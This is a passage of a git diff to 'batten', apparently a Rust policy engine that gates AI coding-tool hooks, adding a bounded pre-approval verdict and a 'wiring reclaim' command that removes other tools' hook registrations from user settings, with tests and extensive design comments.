undelivered advisory costs a line +/// nobody reads. Neither may degrade to a deny, because refusing a call the +/// operator already permitted inverts the policy in the direction that hurts. +/// +/// **The one thing this must never do is manufacture permission.** The reason it +/// carries is a projection of a committed rule onto the name the host chose this +/// session, and the boundary only ever calls this after the engine's own decision +/// came back [`Decision::Allow`] — so a pre-approval cannot spend a refusal any +/// rule reached. That ordering is what keeps Batten a gate rather than the +/// reference monitor the scope reminder forbids. +/// +/// **The capability table is consulted first, and asked about THIS EVENT.** Claude +/// Code honours `permissionDecision` on `PreToolUse` and nowhere else — a +/// permission decision after the call has run decides nothing — so a host-level +/// question would put a grant on a surface that discards it, which reads exactly +/// like the guard never running. +/// +/// # Errors +/// +/// Serialization of this fixed shape cannot practically fail; the `Result` is the +/// honest signature for a serde boundary. +pub fn encode_preapproval( + harness: Harness, + event: &str, + reason: &str, +) -> serde_json::Result> { + // The table, consulted before the shape, and asked about this event. + if !harness.capabilities().preapprove_reachable(event) { + return Ok(None); + } + match harness { + // The same envelope a deny and an ask travel in, with the third verdict + // word. Reusing `encode_claude_verdict` is what stops this arm becoming a + // second opinion about the host's shape — the object is one object, and + // the word is the caller's. + Harness::ClaudeCode => encode_claude_verdict(event, "allow", reason).map(Some), + // No honoured surface, stated rather than wildcarded so a row that ever + // gains an `honoured_on` entry has to come back here and answer for its + // wire shape. Cursor's verdict vocabulary is surveyed and carries no + // prompt-suppressing value; Copilot's output object is unconfirmed; + // Gemini's and Codex's are unsurveyed for this channel; the neutral + // adapter's exit status has no room to say "and do not prompt". + Harness::Cursor + | Harness::CopilotCli + | Harness::GeminiCli + | Harness::CodexCli + | Harness::ExitCode => Ok(None), + } +} + /// Surfaces where an advisory is documented and Batten does not use it, /// **stated** (CLOUD-461). /// @@ -6805,6 +7057,27 @@ pub const ADVISORY_GAPS: &[(Harness, &str)] = &[ ), ]; +/// Surfaces where a pre-approval is honoured and Batten does not spend one, +/// **stated**. +/// +/// `ADVISORY_GAPS`' discipline on the fourth channel, and the failure mode it +/// guards is the quietest of the four: an unspent grant costs a permission +/// prompt, which looks exactly like the guard not being installed. A deny that +/// fails to reach a host is loud, an undelivered advisory is silent, and this is +/// silent AND visibly annoying to the operator, who has no way to tell which +/// layer failed. +/// +/// **Empty today, and the census below is what keeps that honest rather than +/// convenient.** Only Claude Code declares the channel, and it is honoured on +/// every surface where the question means anything — a permission decision after +/// the call has run decides nothing, so `PreToolUse` is not a subset of a wider +/// set that Batten declines to reach. There is no gap to state. Every other host +/// declares `No` or `Unknown`, and neither states a gap: measured-absent has +/// nothing to disagree with and unsurveyed has nothing to disagree *from*. +/// +/// `pub` because being readable IS the mechanism. +pub const PREAPPROVE_GAPS: &[(Harness, &str)] = &[]; + /// Hosts whose declared escalation and reachable escalation disagree, **stated**. /// /// CLOUD-601's load-bearing half: the current state must be *declared*, not @@ -7570,7 +7843,7 @@ mod tests { // for a sharper reason: it is a deny that was let through, so folding // it in here would let a suppression pass every assertion about what // a refusal says while the call actually ran. - Decision::Ask(_) | Decision::Allow | Decision::Waived(_) => { + Decision::Ask(_) | Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => { panic!("expected a deny") } } @@ -7581,7 +7854,7 @@ mod tests { fn denial(decision: Decision) -> Refusal { match decision { Decision::Deny(refusal) => refusal, - Decision::Ask(_) | Decision::Allow | Decision::Waived(_) => { + Decision::Ask(_) | Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => { panic!("expected a deny") } } @@ -11012,6 +11285,81 @@ deny contains "V-REFUSED-BY-THE-MODULE" if { ); } + /// Every host that declares a pre-approval honours some of it, or the gap is + /// **stated**. + /// + /// `ADVISORY_GAPS`' census on the fourth channel, and it needs the same + /// discipline for a worse failure mode: an unspent grant costs the operator a + /// permission prompt, which is indistinguishable from the guard not being + /// installed at all. + /// + /// **The non-emptiness assertion the advisory census carries is deliberately + /// absent, and replaced rather than dropped.** `PREAPPROVE_GAPS` is empty + /// today because there is genuinely no gap: one host declares the channel and + /// honours it on every surface where a permission decision means anything. + /// Asserting non-emptiness would demand a gap be invented to satisfy a test. + /// What would make this census vacuous is no host declaring the channel at + /// all, so that is what is asserted instead — the loop must have judged at + /// least one declaring host. + /// + /// Fails by: adding an `honoured_on` surface to a host whose row says it has + /// none, or declaring the channel `Yes` on a host and reaching nothing without + /// writing the row. + #[test] + fn a_declared_preapproval_is_honoured_somewhere_or_the_gap_is_stated() { + let mut judged = 0_usize; + for harness in Harness::ALL { + let capabilities = harness.capabilities(); + let declared = capabilities.declares(Capability::Preapprove); + let stated = PREAPPROVE_GAPS.iter().any(|(row, _)| row == harness); + + // `No` and `Unknown` both mean nothing is reachable, for opposite + // reasons, and NEITHER states a gap — the advisory census's own + // reading, and it holds here unchanged: measured-absent has nothing to + // disagree with, unsurveyed has nothing to disagree *from*. + if matches!(declared, Declaration::No | Declaration::Unknown) { + assert!( + !stated, + "{}: declares `{}`, which is not a gap between a host and \ + Batten; the unanswered state IS the record", + harness.as_str(), + declared.as_str() + ); + assert!( + capabilities.preapprove.honoured_on.is_empty(), + "{}: honours a pre-approval somewhere while declaring `{}` — \ + the column and the declaration disagree", + harness.as_str(), + declared.as_str() + ); + continue; + } + + judged += 1; + let events = capabilities.events.len(); + let reached = capabilities.preapprove.honoured_on.len(); + if stated { + assert!( + reached < events, + "{}: PREAPPROVE_GAPS names it and every emitted surface already \ + honours a grant — remove the row rather than leaving the citation", + harness.as_str() + ); + } else { + assert!( + reached > 0, + "{}: declares the channel, honours none of it, and states no \ + gap. A gap must be STATED, never merely true", + harness.as_str() + ); + } + } + assert!( + judged > 0, + "no host declares a pre-approval, so this census judged nothing" + ); + } + // --------------------------------------------------------------------- // CLOUD-779: the neutral operation layer, and CLOUD-601's event-scoped ask. // --------------------------------------------------------------------- diff --git a/crates/batten/src/lib.rs b/crates/batten/src/lib.rs index 29aa66f07..0cfdf4d6b 100644 --- a/crates/batten/src/lib.rs +++ b/crates/batten/src/lib.rs @@ -92,6 +92,7 @@ pub mod uses; pub mod verbs; pub mod verdict; pub mod waiver; +pub mod wiring; pub mod worktree; use std::io::{Read, Write}; @@ -102,7 +103,7 @@ use anyhow::Result; pub use cli::{ AttributionCommand, Cli, Command, CommitCommand, ConfigCommand, DefectsCommand, DesignCommand, GenerateCommand, LintCommand, OverrideCommand, PolicyCommand, ProvisionCommand, ReceiptCommand, - SemverCommand, SpecFormat, StateCommand, WorktreeCommand, + SemverCommand, SpecFormat, StateCommand, WiringCommand, WorktreeCommand, }; pub use config::Config; pub use effect::Effect; @@ -233,6 +234,7 @@ pub fn run(cli: Cli, mode: Mode, out: &mut dyn Write, err: &mut dyn Write) -> Re Some(Command::Override { command }) => run_override(command, &overrides, out, err), Some(Command::Semver { command }) => run_semver(command, mode, out, err), Some(Command::Perf { command }) => run_perf(command, out, err), + Some(Command::Wiring { command }) => run_wiring(&command, mode, err), // The ledger is a committed file the consumer declares; the §8 config // chain supplies its path and taxonomy and nothing else layers. Some(Command::Defects { command }) => match command { @@ -1486,6 +1488,120 @@ fn run_capture_prune( Ok(ExitCode::Success) } +/// The one write path over a host's hook registrations, and the only verb whose +/// subject is outside the repository — which is why it is `destructive` and why +/// it records before it repairs (CLOUD-893). +/// +/// A dispatcher rather than a direct arm in [`run`], for `run_capture`'s reason: +/// that table is one line per verb, and `run` is at its line ceiling. +/// +/// # Errors +/// +/// Whatever the chosen sub-verb could not do. +fn run_wiring(command: &cli::WiringCommand, mode: Mode, err: &mut dyn Write) -> Result { + match command { + cli::WiringCommand::Reclaim { yes, dry_run } => { + run_wiring_reclaim(*yes, *dry_run, mode, err) + } + } +} + +/// Remove every non-batten hook registration from this host's merged surfaces. +/// +/// **`ExitCode::Success` even when it found nothing**, and even when it removed +/// something. This is a repair, not a check: `doctor hooks` answers *is there a +/// hook here that is not mine* and the consumer's gate turns that into a verdict, +/// so an exit code here would be a second authority for the same question — and +/// per §7 a `2` from a repair would read to a mediating harness as a deny. +/// +/// **Output on stderr, and a count rather than a name** (non-negotiable rule 4). +/// What was removed is a filename off somebody's home directory; the arithmetic +/// is the actionable part and the harness plus event is where to look. +/// +/// # Errors +/// +/// A [`UsageError`] without `-y`, and whatever [`wiring::reclaim`] could not +/// write. +fn run_wiring_reclaim( + yes: bool, + dry_run: bool, + mode: Mode, + err: &mut dyn Write, +) -> Result { + use etcetera::BaseStrategy as _; + + // `hook_authority_root`, NOT `git::repo_root` — and the difference is a linked + // worktree, which is CLOUD-824's defect one layer over. `reclaim` derives the + // at-load record path from this argument, and the only thing that EXPIRES that + // record is `expire_wiring_record`, which reads `hook_authority_root()`. + // `anchor` answers `.` whenever `batten.toml` sits beside the caller, where + // `repo_root` answers the MAIN repository's root; from a linked worktree those + // are two different git directories. So the pair would disagree: the repair + // writes a record the next `SessionStart` never clears, and `doctor hooks` + // stays red over a repair that already happened — the manufactured red that is + // this record's own false-green failure mode, inverted. + // + // Safe against the other use of this argument: `reclaim` also compares each + // merged surface against `dir.join(surface)` through `same_file`, which + // canonicalizes both sides, so a relative `.` and an absolute root resolve + // identically there. + let repo = hook_authority_root(); + if !dry_run && !yes { + // §4's refusal, unconditional for `capture prune`'s reason: the same + // section says a policy engine that blocks a loop waiting for a Y/N is a + // dead gate, and the primary caller here is a program. Naming the flag is + // the whole remedy. + return Err(UsageError::raise( + "wiring reclaim: removing another tool's hook registrations is destructive and this \ + never prompts — pass -y, or -n to see what would go", + )); + } + // No resolvable home is COULD NOT LOOK, and it is a usage error rather than a + // silent zero: a repair that reports "removed 0" having looked nowhere is the + // false green this whole capability is built to refuse. + let strategy = etcetera::choose_base_strategy().map_err(|_| { + UsageError::raise( + "wiring reclaim: no home directory resolves, so there are no merged surfaces to read", + ) + })?; + let done = wiring::reclaim(repo, strategy.home_dir(), dry_run)?; + let verb = if dry_run { "would remove" } else { "removed" }; + output::message( + mode, + output::Verbosity::Normal, + err, + &format!( + "wiring reclaim: {verb} {} sibling registration(s) across {} surface(s) read", + done.siblings(), + done.surfaces_read + ), + )?; + for row in &done.rows { + output::message( + mode, + output::Verbosity::Normal, + err, + &format!( + "wiring reclaim: {}:{} {} {}", + row.harness, row.event, verb, row.siblings + ), + )?; + } + // The line that stops the repair reading as completion. Emitted only when + // something actually moved, because a run that removed nothing left no gap + // between what this session loaded and what is on disk. + if !dry_run && done.siblings() > 0 { + output::message( + mode, + output::Verbosity::Normal, + err, + "wiring reclaim: this session already loaded the wiring that was just removed — \ + restart the harness before reading `doctor hooks` as green", + )?; + } + Ok(ExitCode::Success) +} + /// One half of a `FROM:TO` range, as a 1-indexed line number. /// /// Strict on both halves: a range with a missing or unparseable side is a @@ -3295,7 +3411,7 @@ fn run_hook( if !advice.is_empty() { emit_advisory(harness, &envelope, out, err, &advice.join("\n\n"))?; } - let decision = handled.unwrap_or_else(|| hook::adjudicate(&policy, &envelope, &facts)); + let decision = compose(handled, &policy, &envelope, &facts); // Resolved HERE rather than inside `render`, because `render` deliberately // cannot see the policy (CLOUD-898) and that property is worth more than the // convenience: a renderer that cannot see the inputs cannot re-decide by @@ -3355,6 +3471,51 @@ fn fill_turn_advice( } } +/// Reconcile what a handler said with what the engine decides. +/// +/// **A handler's refusal REPLACES the engine's decision; a handler's grant may +/// only UPGRADE an allow.** Both halves are enforced here rather than promised, +/// and the asymmetry is the whole safety property of the pre-approval channel: a +/// `Deny` from either side is a stop, so a dispatched program refusing is at worst +/// redundant — while a grant that could replace a decision would let a dispatched +/// program spend a refusal the engine's own rows reached. +/// +/// [`hook::Decision::Waived`] is deliberately not upgraded either. A waived deny +/// is a refusal that was let through and owes a record; telling the host not to +/// prompt about it would suppress the one trace the waiver table exists to leave. +/// +/// This is the second of the pre-approval's two bounds, and the split is what +/// keeps either from being a comment: [`dispatch_handlers`] enforces that a +/// refusal outranks a grant *among handlers*, because only it sees them all, and +/// this enforces that the engine outranks both, because only this has the +/// engine's answer. +/// +/// `adjudicate` is called at most once on every path, which is also why this is a +/// function rather than an expression at the call site: the pre-approval arm needs +/// the engine's decision to decide whether to keep the grant, and a reader has to +/// be able to see that it is not consulted twice. +fn compose( + handled: Option, + policy: &hook::Policy, + envelope: &hook::Envelope, + facts: &hook::Facts<'_>, +) -> hook::Decision { + match handled { + Some(hook::Decision::Preapproved(reason)) => { + match hook::adjudicate(policy, envelope, facts) { + hook::Decision::Allow => hook::Decision::Preapproved(reason), + // The engine decided something, so the grant is dropped — silently. + // It carries no finding, and reporting "a handler wanted to allow + // this" beside a refusal would read as a disagreement the reader has + // to arbitrate when the arbitration has already happened. + decided => decided, + } + } + Some(forced) => forced, + None => hook::adjudicate(policy, envelope, facts), + } +} + /// Fill the advisory buffer from the two producers that ride a batch boundary. /// /// Split out of `run_hook` so the batch-boundary question lives in one place — @@ -3379,6 +3540,7 @@ fn collect_batch_advice( } report_contract_drift(envelope, overrides, advice); refresh_pinned(envelope, overrides); + expire_wiring_record(envelope); Ok(()) } @@ -3424,6 +3586,32 @@ fn refresh_pinned(envelope: &hook::Envelope, overrides: &Overrides) { let _refreshed = pinned::refresh(here); } +/// Drop the at-load wiring record at the one moment it stops being true +/// (CLOUD-893). +/// +/// A host reads its hook wiring when a session starts, so at `SessionStart` — and +/// only there — the disk and what the harness has loaded are the same thing by +/// definition. That makes this the one honest place to expire the record +/// `batten wiring reclaim` leaves behind, and it needs no session identity to do +/// it: the event IS the identity. +/// +/// **The clear has exactly one writer, which is why the repair has none here.** +/// Running the reclaim from a session-start handler would put a write and this +/// clear inside one unordered batch, and whichever landed second would decide +/// between the honest red and the false green the record exists to refuse. So +/// `reclaim` stays explicitly invoked and this stays the only expiry. +/// +/// Silent on every failure, and never a verdict. A session-start hook that +/// refused a session over a stale bookkeeping file would be a gate on the wrong +/// object; a record that outlives its session costs one extra red run of the +/// consumer's gate, which names the remedy anyway. +fn expire_wiring_record(envelope: &hook::Envelope) { + if envelope.event != hook::Event::SessionStart { + return; + } + let _ = wiring::clear_at_load(hook_authority_root()); +} + /// Run the declared handlers for this envelope's event (CLOUD-898). /// /// Returns the decision a handler forced, if any, and appends its advice and its @@ -3482,6 +3670,23 @@ fn dispatch_handlers( // reach. `Event::carries_a_verdict` is the one authority both producers ask, // so this cannot drift from `adjudicate`'s arms. let Some((id, reason)) = dispatched.refusal() else { + // NO REFUSAL, SO A GRANT MAY BE CONSIDERED — and only in that order. A + // refusal outranks a pre-approval absolutely: two handlers disagreeing + // about one call resolve toward the refusal, because a grant that could + // overrule one would let a dispatched program spend a verdict another + // dispatched program reached. + // + // Returned as a `Preapproved` for the CALLER to reconcile with the + // engine's own decision, never as a decision in itself. That second bound + // — a grant may only upgrade an `Allow` — is `run_hook`'s, because only + // `run_hook` has the engine's answer in hand. Splitting the two bounds + // across the two functions that can each enforce one is what keeps either + // from being a comment. + if let Some((id, reason)) = dispatched.preapproval() { + return Ok(Some(hook::Decision::Preapproved(format!( + "hook.handler.{id}: {reason}" + )))); + } return Ok(None); }; if !envelope.event.carries_a_verdict() { @@ -5151,6 +5356,28 @@ fn render( None => Err(Denial::raise(reason)), } } + // The pre-approval, and it is the mirror image of the arm above it. An + // unreachable escalation degrades to a REFUSAL, because "ask a human" + // becoming "go ahead" inverts the policy. An unreachable pre-approval + // degrades to a plain ALLOW, because "do not prompt" becoming "prompt" is + // the host's own default — the operator sees a dialogue they would have + // seen anyway, and nothing was decided that nobody asked for. + // + // Which means `None` here is silence rather than an error, and the exit + // code is the same `0` either way. That symmetry is the whole reason this + // is a variant and not a flag on `Allow`: the degradation is decided once, + // here, by the one function that consults the capability table. + // + // Nothing in `adjudicate` can produce this value — its gates group it with + // `Allow` and say why — so reaching this arm means a `[[hook.handler]]` + // declaring `preapproves` returned an advisory AND the engine's own + // decision was already an allow. The upgrade is bounded there, not here. + hook::Decision::Preapproved(reason) => { + if let Some(body) = hook::encode_preapproval(harness, &envelope.raw_event, &reason)? { + writeln!(out, "{body}")?; + } + Ok(ExitCode::Success) + } } } diff --git a/crates/batten/src/spec.rs b/crates/batten/src/spec.rs index 2c3247b16..a3e3b83b6 100644 --- a/crates/batten/src/spec.rs +++ b/crates/batten/src/spec.rs @@ -565,6 +565,14 @@ mod tests { // `-y` binding rather than a new exception. "target".to_owned(), "target prune".to_owned(), + // The one write path over a host's hook registrations + // (CLOUD-893). Both rows are here and NEITHER is on the + // read-only allowlist above: the noun is `Unclassified` because + // its subtree carries a destructive verb, and the verb is + // `Destructive` because its subject is a file shared by every + // checkout on the box. + "wiring".to_owned(), + "wiring reclaim".to_owned(), "worktree".to_owned(), "worktree status".to_owned(), ] diff --git a/crates/batten/src/surface.rs b/crates/batten/src/surface.rs index 8d2e27bdb..2239b471b 100644 --- a/crates/batten/src/surface.rs +++ b/crates/batten/src/surface.rs @@ -2301,6 +2301,47 @@ pub const SURFACE: &[CommandDecl] = &[ effect: Effect::Read, flags: &[JSON], }, + // A NEW NOUN rather than a flag on an existing verb, and two shapes were + // considered and died on the same rule (CLOUD-893). `generate hooks --write` + // and `doctor hooks --repair` both hang the effect off a FLAG, where §5 hangs + // it off a ROW — and the agent read-only allowlist is `filter(effect == + // read)` with no second list, so a write flag on either row would drop the + // pure-stdout invocation every consumer already uses out of the allowlist. + // `batten hook install` died on settled precedent instead: nesting a noun + // under `hook` "turned the `PreToolUse` mediator into a noun that refused to + // adjudicate", which is why `payload` is top-level. + // + // `unclassified`, taking `provision`'s reading rather than `policy`'s: the + // subtree carries a destructive verb, and a write-bearing subtree under a + // `read` noun leaks onto the derived allowlist for any consumer that treats an + // entry as a prefix (CLOUD-90). + CommandDecl { + path: "wiring", + about: "Repair a host's hook registrations", + data_channel: false, + effect: Effect::Unclassified, + flags: &[], + }, + // `destructive`, not `write`, and the precedent is `attribution identity`'s + // own recorded reasoning: that verb refused a `--global` write precisely + // because one file is shared by every checkout on the box. This edits exactly + // such files. What it removes is also somebody else's registration rather than + // batten's own artifact, and recovering one means knowing what it was — which + // is what the at-load record exists to preserve and what §6 forbids the report + // from printing. §5 binds `-y --yes` to this effect, so a non-interactive + // caller is told the flag rather than prompted into the void. + // + // Required UNCONDITIONALLY rather than only when unattended, following + // `capture prune`: §4's own words are that a policy engine which blocks a loop + // waiting for Y/N is a dead gate, and the primary caller here is a program. A + // rule that never prompts cannot hang. + CommandDecl { + path: "wiring reclaim", + about: "Remove non-batten hook registrations from this host's merged surfaces", + data_channel: false, + effect: Effect::Destructive, + flags: &[DRY_RUN], + }, ]; /// Whether `token` is a declared spelling of a flag that consumes the *next* diff --git a/crates/batten/src/wiring.rs b/crates/batten/src/wiring.rs new file mode 100644 index 000000000..92b748098 --- /dev/null +++ b/crates/batten/src/wiring.rs @@ -0,0 +1,584 @@ +//! `batten wiring` — the one write path over a host's hook registrations. +//! +//! [`crate::doctor`] answers *is there a hook here that is not mine*. This module +//! is the half that can do something about it, and it is a separate module for +//! the reason `doctor`'s own header gives: that verb promises never to return a +//! policy verdict and never to act, and a destructive write inside it would make +//! both promises conditional on which subcommand you typed. +//! +//! # Record, then repair — and never the other way round +//! +//! A harness reads its hook wiring once, when a session starts. So a repair +//! performed mid-session changes what is on DISK and cannot change what the +//! running host has already loaded, and a census taken after the repair reports +//! `merged_siblings: 0` over a runtime still dispatching the siblings it just +//! deleted. That is a manufactured false green, and strictly worse than the +//! expiring waiver table this capability replaced: a waiver at least says which +//! reductions it excuses. +//! +//! So [`reclaim`] writes the AT-LOAD record before it edits a byte, and the +//! consumer's gate reads that record rather than the disk. Two numbers +//! disagreeing is the honest answer — *this session is running wiring that no +//! longer exists; restart to pick up the repair* — and one number agreeing at +//! zero is the honest green. +//! +//! # Why the record is not session-keyed, and what clears it +//! +//! There is no portable session identity to key on, and a timestamp would only +//! move the question. What there IS, exactly once per session, is the moment the +//! host re-reads its wiring: [`crate::hook::Event::SessionStart`]. At that +//! instant live and at-load are the same by definition, so the record is +//! **cleared** there ([`clear_at_load`]) and written only by [`reclaim`]. +//! +//! **Which is why reclaim is not run from a session-start handler.** The plan +//! this implements wanted the merged arm repaired automatically on +//! `SessionStart`. It cannot be: the clear and the record would then both happen +//! inside one unordered batch of handlers, and whichever landed second would +//! decide — a coin toss between the honest red and exactly the false green the +//! record exists to prevent. An unorderable pair is not a race to tune, so the +//! verb stays explicitly invoked and the clear keeps its one writer. +//! +//! # Scope: the merged surfaces, never the committed one +//! +//! [`reclaim`] edits only files under the caller's home directory. A committed +//! surface is version-controlled, reviewed, and the subject of `doctor hooks`'s +//! own findings; rewriting it from here would fight `tree-clean` on every run. +//! The `same_file` arm is what enforces that, and it is a correctness property +//! rather than an optimisation: several hosts spell their user-level surface and +//! their project-level one identically, so a checkout sitting AT the home +//! directory resolves both to one file. + +use std::borrow::Cow; +use std::path::{Path, PathBuf}; + +use anyhow::Result; + +use crate::{git, hook}; + +/// The event map inside a wiring file. +/// +/// One expression for both shapes of [`hook::WiringFile`], read from the +/// harness's own declaration rather than from a `(.hooks // .)` guess. The bash +/// gate carried that guess as a second copy of the Key/Whole split; deleting the +/// copy is the point of moving this in-process, not a side effect. +/// +/// Lives here rather than in [`crate::doctor`] so that the reader and the writer +/// cannot disagree about what a registration IS. `merged_under`'s own comment +/// asks for exactly that — "a sibling count that disagreed with the committed one +/// about what a sibling is could not be summed with it" — and a second copy in +/// the write path would be the same defect one layer over. +pub(crate) fn committed_events( + document: &serde_json::Value, + file: hook::WiringFile, +) -> Option>> { + let key = event_key(file); + // AN ABSENT KEY IS AN EMPTY MAP, NEVER UNREADABLE, and the distinction is a + // verdict rather than a detail. A settings file carrying `permissions` and no + // `hooks` parses perfectly and registers batten nowhere — which under + // "registered on every surface" is the MAXIMAL disagreement, one + // `event-unregistered` per event. Reading it as "could not look" would answer + // a question nobody asked and hide the one that was. + // + // What is genuinely unreadable is a document that is not an object, or a + // `hooks` that is not one. + match document.get(key) { + None => document + .is_object() + .then(|| Cow::Owned(serde_json::Map::new())), + Some(value) => value.as_object().map(Cow::Borrowed), + } +} + +/// Which key a wiring file's events live under. +/// +/// Extracted so the mutable walk in [`prune_siblings`] and the immutable read in +/// [`committed_events`] cannot pick different keys — the one way those two could +/// silently stop describing the same document. +const fn event_key(file: hook::WiringFile) -> &'static str { + match file { + hook::WiringFile::Key { key, .. } => key, + // A hooks-only file is what `render_wiring` emits whole, and what it + // emits is `{"hooks": {…}}`. + hook::WiringFile::Whole(_) => "hooks", + } +} + +/// Every `{matcher, command}` pair registered under one event. +pub(crate) fn entries_under(value: &serde_json::Value) -> Vec<(Option<&str>, &str)> { + let mut pairs = Vec::new(); + for entry in value.as_array().into_iter().flatten() { + let matcher = entry.get("matcher").and_then(serde_json::Value::as_str); + for hook in entry + .get("hooks") + .and_then(serde_json::Value::as_array) + .into_iter() + .flatten() + { + if let Some(command) = hook.get("command").and_then(serde_json::Value::as_str) { + pairs.push((matcher, command)); + } + } + } + pairs +} + +/// Whether two paths name the same file on disk. +/// +/// Compared by CANONICAL path rather than by string: a checkout reached through +/// a symlink, or spelled with a `.`, is still the same file, and a string +/// comparison would miss it and report the committed wiring as a merged second +/// authority. A path that does not canonicalize does not exist, and a file that +/// does not exist collides with nothing. +/// +/// The collision is real rather than theoretical: several hosts spell their +/// user-level surface and their project-level one identically, differing only in +/// which directory they are resolved against, so a checkout that sits AT the +/// home directory resolves both to one file. +pub(crate) fn same_file(one: &Path, two: &Path) -> bool { + match (one.canonicalize(), two.canonicalize()) { + (Ok(left), Ok(right)) => left == right, + _ => false, + } +} + +/// Whether one registered command is batten's own. +/// +/// **The same selector both sides of the census use**, and deliberately broader +/// than "does this reach the engine": asking the narrow question would make a +/// renamed command *invisible* rather than *wrong*, so a mis-registered batten +/// would be reclaimed as somebody else's hook. Selected broadly, judged +/// narrowly, which is `diagnose_harness`'s rule and has to be this path's too. +fn is_batten(entry: &str, command: &str) -> bool { + entry.contains(command) || entry.contains("batten") +} + +/// One `(harness, event)` pair and how many non-batten registrations it carried. +/// +/// **Pointer-only, and the omission is the point** (non-negotiable rule 4): no +/// path, no `$HOME`, and not even the offending command's basename. A basename is +/// a filename off somebody's disk, and the gate that consumes this needs only to +/// know that the count was non-zero — so carrying one would buy a nicer message +/// with a leak. Which command it was is answerable from the file the harness and +/// event name. +#[derive(Debug, Clone, PartialEq, Eq, serde::Serialize, serde::Deserialize)] +#[non_exhaustive] +pub struct AtLoadRow { + /// The harness whose merged surface carried them. + pub harness: String, + /// The event they were registered on, in the host's own spelling. + pub event: String, + /// How many of them were not batten's. + pub siblings: usize, +} + +/// What this session's harnesses had loaded before any repair. +/// +/// Byte-stable under `-J` for §6's reason: the rows come back in +/// [`hook::Harness::ALL`] order and, within a harness, in the order the host's +/// own document lists its events, so two runs over one disk state serialise +/// identically. +#[derive(Debug, Clone, Default, PartialEq, Eq, serde::Serialize, serde::Deserialize)] +#[non_exhaustive] +pub struct AtLoad { + /// One row per `(harness, event)` that carried a non-batten registration. + pub rows: Vec, +} + +impl AtLoad { + /// Every non-batten registration the record accounts for. + #[must_use] + pub fn siblings(&self) -> usize { + self.rows.iter().map(|row| row.siblings).sum() + } +} + +/// Where the at-load record lives. +/// +/// Under `$GIT_DIR`, beside `batten-receipts`, for the three reasons that store +/// picked it: never committed, per-worktree rather than per-checkout, and gone +/// when the container is reclaimed — which is correct here, because a record of +/// what a dead session had loaded is worth nothing to a live one. +fn record_path(git_dir: &Path) -> PathBuf { + git_dir.join("batten-wiring").join("at-load.json") +} + +/// Read the at-load record, or `None` when no repair has been recorded. +/// +/// **A record that will not parse reads as absent**, not as an error. The +/// consumer's gate falls back to the live disk when there is no record, and a +/// live read is a strictly better answer than a refusal it cannot act on — the +/// same fail-open direction `diagnose_hooks` takes on an unreadable config. +/// +/// # Errors +/// +/// Returns an error only when `dir` is not a git repository, since then there is +/// no store to have looked in. +pub fn read_at_load(dir: &Path) -> Result> { + let path = record_path(&git::git_dir(dir)?); + let Ok(raw) = std::fs::read_to_string(path) else { + return Ok(None); + }; + Ok(serde_json::from_str(&raw).ok()) +} + +/// Drop the at-load record, and say whether there was one. +/// +/// Called from the `SessionStart` path of [`crate::run_hook`], which is the one +/// moment a host's loaded wiring and its on-disk wiring are the same by +/// definition. Failure to remove is swallowed by the caller rather than reported: +/// a session-start handler that refused a session over a stale bookkeeping file +/// would be a gate on the wrong object. +/// +/// # Errors +/// +/// Returns an error when `dir` is not a git repository, or when a record exists +/// and cannot be removed. +pub fn clear_at_load(dir: &Path) -> Result { + let path = record_path(&git::git_dir(dir)?); + if !path.exists() { + return Ok(false); + } + std::fs::remove_file(&path)?; + Ok(true) +} + +/// What one [`reclaim`] did, or would do. +#[derive(Debug, Clone, Default, PartialEq, Eq, serde::Serialize)] +#[non_exhaustive] +pub struct Reclaimed { + /// The non-batten registrations found, per `(harness, event)`. + pub rows: Vec, + /// How many merged surfaces were read and judged. + pub surfaces_read: usize, + /// How many were rewritten. Zero under a dry run, and zero when nothing was + /// found — which the row list is what distinguishes. + pub surfaces_written: usize, + /// Whether the at-load record was written by this call. `false` when one + /// already existed, because the FIRST record is the one that describes what + /// the running session loaded and a second would describe the repair. + pub recorded: bool, +} + +impl Reclaimed { + /// Every non-batten registration this call found. + #[must_use] + pub fn siblings(&self) -> usize { + self.rows.iter().map(|row| row.siblings).sum() + } +} + +/// Remove every non-batten hook registration from this host's merged surfaces. +/// +/// The inverse of `doctor`'s merged census, over the same surfaces and with the +/// same selector. Ranged over [`hook::Harness::ALL`] rather than a table, so a +/// seventh adapter is reclaimed the day it lands instead of silently skipped. +/// +/// **The at-load record is written before the first byte changes**, and only when +/// none exists. The assertion is `tests/wiring-reclaim.bats`'s `RECORD BEFORE +/// REPAIR: the record carries the pre-repair count`, plus `the record is written +/// ONCE, so a second run cannot report the repair` for the only-when-none-exists +/// half — over the compiled binary and a real `$HOME` on disk, which is the tier +/// that can see this at all. A unit case here would build the document the engine +/// may be unable to locate, which is the shape `.claude/rules/policy-modules.md` +/// names. An earlier draft of this comment cited a Rust test name that was never +/// written; caught in review of #714. +/// +/// # Errors +/// +/// Returns an error when `dir` is not a git repository, when the record cannot be +/// written, or when a surface that parsed cannot be written back. A surface that +/// could not be READ is not an error — it is a could-not-look, counted out of +/// `surfaces_read` and left alone, because a file this verb cannot parse is one +/// it must not rewrite. +pub fn reclaim(dir: &Path, home: &Path, dry_run: bool) -> Result { + let mut out = Reclaimed::default(); + // Planned in full before anything is written, so the record describes the + // whole pre-repair state even if a later surface refuses the write. + let mut planned: Vec<(PathBuf, serde_json::Value)> = Vec::new(); + for harness in hook::Harness::ALL { + let command = hook::wiring_command(*harness); + let key = harness + .wiring() + .map_or(hook::WiringFile::Whole(""), |w| w.file); + for surface in harness.merge_surfaces() { + let path = home.join(surface); + // The committed surface is not this verb's subject; see the module + // header. Not counted as read either — it was never a merged one. + if same_file(&path, &dir.join(surface)) { + continue; + } + let Ok(raw) = std::fs::read_to_string(&path) else { + continue; + }; + let Ok(mut document) = serde_json::from_str::(&raw) else { + continue; + }; + if committed_events(&document, key).is_none() { + continue; + } + out.surfaces_read += 1; + let removed = prune_siblings(&mut document, key, &command); + if removed.is_empty() { + continue; + } + for (event, siblings) in removed { + out.rows.push(AtLoadRow { + harness: harness.as_str().to_owned(), + event, + siblings, + }); + } + planned.push((path, document)); + } + } + if dry_run { + return Ok(out); + } + out.recorded = write_at_load(dir, &out.rows)?; + for (path, document) in planned { + // Pretty rather than compact, and a free choice here where it would not + // be on a committed file: these surfaces are untracked, launcher-owned + // and rewritten wholesale at provisioning, so there are no bytes of + // somebody's formatting to conserve and no golden to churn. + // + // WRITE-THEN-RENAME RATHER THAN A TRUNCATING WRITE, because of WHOSE bytes + // these are. `std::fs::write` truncates before it writes, so a kill in + // between leaves the host a half-file — and this document carries keys this + // verb 